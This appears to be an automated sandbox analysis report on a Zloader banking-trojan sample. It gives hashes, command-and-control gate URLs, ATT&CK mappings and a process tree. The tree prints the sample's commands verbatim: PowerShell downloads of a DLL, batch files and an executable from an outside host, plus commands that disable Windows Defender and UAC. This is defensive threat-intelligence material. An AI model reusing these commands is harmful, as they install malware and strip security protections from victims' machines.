zloader | edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052

Analysis

max time kernel
52s
max time network
120s
platform
windows10_x64
resource
win10v20210410
submitted
16-08-2021 11:42

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Reason

Remote task has failed: Machine shutdown

Report Analysis Logs

General

Target

8f87fe90d589a4fa73cff6a242fe222b.exe
Size

165KB
MD5

8f87fe90d589a4fa73cff6a242fe222b
SHA1

381e33872d0f6f1a7233beeb6e9524435c2a9ab6
SHA256

edaabcb2e82b51c9b8df54dc82afc494bff804b1b187c4657ab583e8ca0bd052
SHA512

f0ce6885ac47429df5a1a0779c9a455300d77284ef71ff1e344afe2344513b430705ce50d62fceddb051cb5df8b67e1c4969b377413647f4cbe23fc87351aca0

Score

10^/10

zloader ivan ivan botnet persistence trojan

Malware Config

Extracted

Family

zloader

Botnet

ivan

Campaign

ivan

https://iqowijsdakm.com/gate.php

https://wiewjdmkfjn.com/gate.php

https://dksaoidiakjd.com/gate.php

https://iweuiqjdakjd.com/gate.php

https://yuidskadjna.com/gate.php

https://olksmadnbdj.com/gate.php

https://odsakmdfnbs.com/gate.php

https://odsakjmdnhsaj.com/gate.php

https://odjdnhsaj.com/gate.php

https://odoishsaj.com/gate.php

rc4.plain

rsa_pubkey.plain

Signatures

Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
trojan botnet zloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 1772 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 1 IoCs

Processes:

regsvr32.exe

pid process

3892 regsvr32.exe

flow	pid	process
8	1772	powershell.exe

pid	process
3892	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

8f87fe90d589a4fa73cff6a242fe222b.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	8f87fe90d589a4fa73cff6a242fe222b.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8f87fe90d589a4fa73cff6a242fe222b.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3404 timeout.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1772 powershell.exe
1772 powershell.exe
1772 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1772 powershell.exe

pid	process
3404	timeout.exe

pid	process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

8f87fe90d589a4fa73cff6a242fe222b.execmd.exeregsvr32.exe

description	pid	process	target process
PID 3164 wrote to memory of 2192	3164	8f87fe90d589a4fa73cff6a242fe222b.exe	cmd.exe
PID 3164 wrote to memory of 2192	3164	8f87fe90d589a4fa73cff6a242fe222b.exe	cmd.exe
PID 2192 wrote to memory of 1772	2192	cmd.exe	powershell.exe
PID 2192 wrote to memory of 1772	2192	cmd.exe	powershell.exe
PID 2192 wrote to memory of 1936	2192	cmd.exe	regsvr32.exe
PID 2192 wrote to memory of 1936	2192	cmd.exe	regsvr32.exe
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	regsvr32.exe
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	regsvr32.exe
PID 1936 wrote to memory of 3892	1936	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe
"C:\Users\Admin\AppData\Local\Temp\8f87fe90d589a4fa73cff6a242fe222b.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\SYSTEM32\cmd.exe
cmd /c start.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/JavaP.dll -OutFile JavaP.dll
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772

C:\Windows\system32\regsvr32.exe
regsvr32 JavaP.dll
3⤵
- Suspicious use of WriteProcessMemory
PID:1936

C:\Windows\SysWOW64\regsvr32.exe
JavaP.dll
4⤵
- Loads dropped DLL
PID:3892

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe
5⤵
PID:2876

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/nsudo.bat -OutFile nsudo.bat
3⤵
PID:2072

C:\Windows\system32\cmd.exe
cmd /c nsudo.bat
3⤵
PID:2548

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
4⤵
PID:340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/javase.exe -OutFile javase.exe
4⤵
PID:2768

C:\Users\Admin\AppData\Roaming\javase.exe
javase -U:T reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
4⤵
PID:2128

C:\Users\Admin\AppData\Roaming\javase.exe
javase -U:T sc config WinDefend start= disabled
4⤵
PID:3700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Invoke-WebRequest https://pornotublovers.com/autorun100.bat -OutFile autorun100.bat
4⤵
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
4⤵
PID:1052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -command "Set-MpPreference -PUAProtection disable"
4⤵
PID:3588

C:\Windows\system32\shutdown.exe
shutdown.exe /r /f /t 00
4⤵
PID:3252

C:\Windows\system32\timeout.exe
timeout 16
3⤵
- Delays execution with timeout.exe
PID:3404

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3acd855 /state1:0x41c64e6d
1⤵
PID:3868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
c9a869799efa0f9da58092ac82fc5cf4

SHA1
8158751848f8806ce9d35433802109858e32ea35

SHA256
85c922b298880c6c8ff1e33d0655971d09ddf3d130338958673c7e3799554df6

SHA512
76e2089aad3ae2c9fe895ca6895405b6351984104e6e972d78c78f8e88892527adccf52b8855daf37ebbf486a6e8086937e9bf982f88fd540b95bbc7ec081449

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
76a2faa51e5223c5fe52dea278682941

SHA1
1eef0fe778d6798a2871a8bb157e6ee6a53f7b56

SHA256
652d5d4b41cfdeaf0cdbf27b665f1c02177b6a36e326c3ed07b413e2b9127b4d

SHA512
f29f92c3f1c379f63958fc94991e06df264636e59d25525adb86f986f7e3a04110233e41974c7ceeb18c174a2869d37d8e0eec86b5def50f9ee62dd43a1611bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
211b497e2692909e96e216b5e4934d76

SHA1
fcaef00fefbde139fe9682c778b8475bf996dc6d

SHA256
8cfd11db0c8c1d78a2265ea869f9f0048bbfddb071ee67b03bbed7c056d7eabf

SHA512
8eddc4359341293578d6b0eb2d3fd4f229657185f809794c750c46c74bc4d8f0406727d8b9070035b7bda94bb99d8e04bd34b6dbea46fb8534b3ccf53186940e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
6affe9382dfe0de4672fb122005c0880

SHA1
d06df962c20edc629a88c5b9f8ffbbf0b59f4c22

SHA256
2cef36bd8e08adeaee9783308a8cc49266ed0d9097eb031a07a655a55beee305

SHA512
6cace93667f22417e4cc5e5d935df1aef131a587823095e464c06d582f95241f828bed640e2935640afd4bef03c51859d7e1007f83a2183c6499ba2ec3260147

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
8a0e43d8537b255b7fae4ddaca4b604c

SHA1
720c6951212c155b1c3d194dee2972fd15024358

SHA256
4cd7de3dad825292555ebf690964f5ca322ebb25dad79efc3282191f68c8f4f7

SHA512
bf440490b89b0aa2e22c15eb737b1a9d716e3ba1b008b2ecd3802f2149cb1a7ef6203c475ce7eedde71622a66118fdfd857310eb8810f9fa941ec0577bb666bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\start.bat

MD5
676d31dd4a8405ead757e0b72d6bd381

SHA1
789a5fc1af78a0630ae705f6dd5506dd476d9d0f

SHA256
57d69a6ca957beb5c9eed7f39d0bb56e6d3348bd510fbba10ad0c19438a712b7

SHA512
79cc7bd42feb80d9a552f2fd6145795ab1904ca7c8d4175f70f9225b04eddcc7107ebf4391eac9d578ed7b963ce192df58050e73b8eaed30e3ef89405e18028c

Download Submit
C:\Users\Admin\AppData\Roaming\JavaP.dll

MD5
23cb9715b98c53a8351d0cfb3d0a24eb

SHA1
4048470f92c65898b3e7186cc98108b74e4b2171

SHA256
bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

SHA512
4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

Download Submit
C:\Users\Admin\AppData\Roaming\javase.exe

MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

SHA512
c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

Download Submit
C:\Users\Admin\AppData\Roaming\javase.exe

MD5
5cae01aea8ed390ce9bec17b6c1237e4

SHA1
3a80a49efaac5d839400e4fb8f803243fb39a513

SHA256
19896a23d7b054625c2f6b1ee1551a0da68ad25cddbb24510a3b74578418e618

SHA512
c8e54c92133ba686238ea554c1cd82ba441db5fd4b0cbd5082d5eb4ddfcedd15506b9dac553459d0b2221c75778241f926ed3eef64571e4b1e0eb6f80ff9b481

Download Submit
C:\Users\Admin\AppData\Roaming\nsudo.bat

MD5
6f10d512d4cbb527fd26ae266d0a4aef

SHA1
6e42d51ff2d42c5f999943b329a655e901ea4b32

SHA256
b37efaf69f5484fd2e4ec9c83553b9788e39a10fc4390065c29d59f770f34943

SHA512
4f66e8435b8439ace551ad8a70483926891ff3f55b27688602b2e0c58999054bd430308879374f4e8c990a91c3e9cc9cd78b6d355d4370051528bce536e1028e

Download Submit
\Users\Admin\AppData\Roaming\JavaP.dll

MD5
23cb9715b98c53a8351d0cfb3d0a24eb

SHA1
4048470f92c65898b3e7186cc98108b74e4b2171

SHA256
bf74dac2db3967e1d661db1bfdbee8fe546bd19ecdcef0baf6b61fb3f78a89d7

SHA512
4b3753020e795b8ba96d292097633a837579aa3b5fa68f7b39f8d76ce3bf3cec6a43663526f9ae79283b4a9aa9034ab96605a554b035ff35f6e10a42bf3efdc1

Download Submit
memory/340-171-0x0000000000000000-mapping.dmp

Download
memory/1052-247-0x000001E27E436000-0x000001E27E438000-memory.dmp

Filesize
8KB

Download
memory/1052-229-0x000001E27E433000-0x000001E27E435000-memory.dmp

Filesize
8KB

Download
memory/1052-228-0x000001E27E430000-0x000001E27E432000-memory.dmp

Filesize
8KB

Download
memory/1052-218-0x0000000000000000-mapping.dmp

Download
memory/1772-132-0x000001AA64246000-0x000001AA64248000-memory.dmp

Filesize
8KB

Download
memory/1772-125-0x000001AA7E3C0000-0x000001AA7E3C1000-memory.dmp

Filesize
4KB

Download
memory/1772-116-0x0000000000000000-mapping.dmp

Download
memory/1772-121-0x000001AA642B0000-0x000001AA642B1000-memory.dmp

Filesize
4KB

Download
memory/1772-130-0x000001AA64240000-0x000001AA64242000-memory.dmp

Filesize
8KB

Download
memory/1772-131-0x000001AA64243000-0x000001AA64245000-memory.dmp

Filesize
8KB

Download
memory/1936-137-0x0000000000000000-mapping.dmp

Download
memory/2072-168-0x000002BD2DB66000-0x000002BD2DB68000-memory.dmp

Filesize
8KB

Download
memory/2072-160-0x000002BD2DB60000-0x000002BD2DB62000-memory.dmp

Filesize
8KB

Download
memory/2072-161-0x000002BD2DB63000-0x000002BD2DB65000-memory.dmp

Filesize
8KB

Download
memory/2072-146-0x0000000000000000-mapping.dmp

Download
memory/2128-193-0x0000000000000000-mapping.dmp

Download
memory/2192-114-0x0000000000000000-mapping.dmp

Download
memory/2548-169-0x0000000000000000-mapping.dmp

Download
memory/2768-172-0x0000000000000000-mapping.dmp

Download
memory/2768-186-0x00000234AC4A0000-0x00000234AC4A2000-memory.dmp

Filesize
8KB

Download
memory/2768-188-0x00000234AC4A6000-0x00000234AC4A8000-memory.dmp

Filesize
8KB

Download
memory/2768-187-0x00000234AC4A3000-0x00000234AC4A5000-memory.dmp

Filesize
8KB

Download
memory/2876-143-0x0000000000000000-mapping.dmp

Download
memory/2876-159-0x0000000002C50000-0x0000000002C76000-memory.dmp

Filesize
152KB

Download
memory/3252-277-0x0000000000000000-mapping.dmp

Download
memory/3404-278-0x0000000000000000-mapping.dmp

Download
memory/3588-275-0x0000021927868000-0x0000021927869000-memory.dmp

Filesize
4KB

Download
memory/3588-250-0x0000021927866000-0x0000021927868000-memory.dmp

Filesize
8KB

Download
memory/3588-248-0x0000021927860000-0x0000021927862000-memory.dmp

Filesize
8KB

Download
memory/3588-235-0x0000000000000000-mapping.dmp

Download
memory/3588-249-0x0000021927863000-0x0000021927865000-memory.dmp

Filesize
8KB

Download
memory/3700-195-0x0000000000000000-mapping.dmp

Download
memory/3892-139-0x0000000000000000-mapping.dmp

Download
memory/3892-141-0x0000000000660000-0x00000000007AA000-memory.dmp

Filesize
1.3MB

Download
memory/3892-142-0x0000000010000000-0x000000001017A000-memory.dmp

Filesize
1.5MB

Download
memory/3952-213-0x0000021B01986000-0x0000021B01988000-memory.dmp

Filesize
8KB

Download
memory/3952-212-0x0000021B01983000-0x0000021B01985000-memory.dmp

Filesize
8KB

Download
memory/3952-211-0x0000021B01980000-0x0000021B01982000-memory.dmp

Filesize
8KB

Download
memory/3952-197-0x0000000000000000-mapping.dmp

Download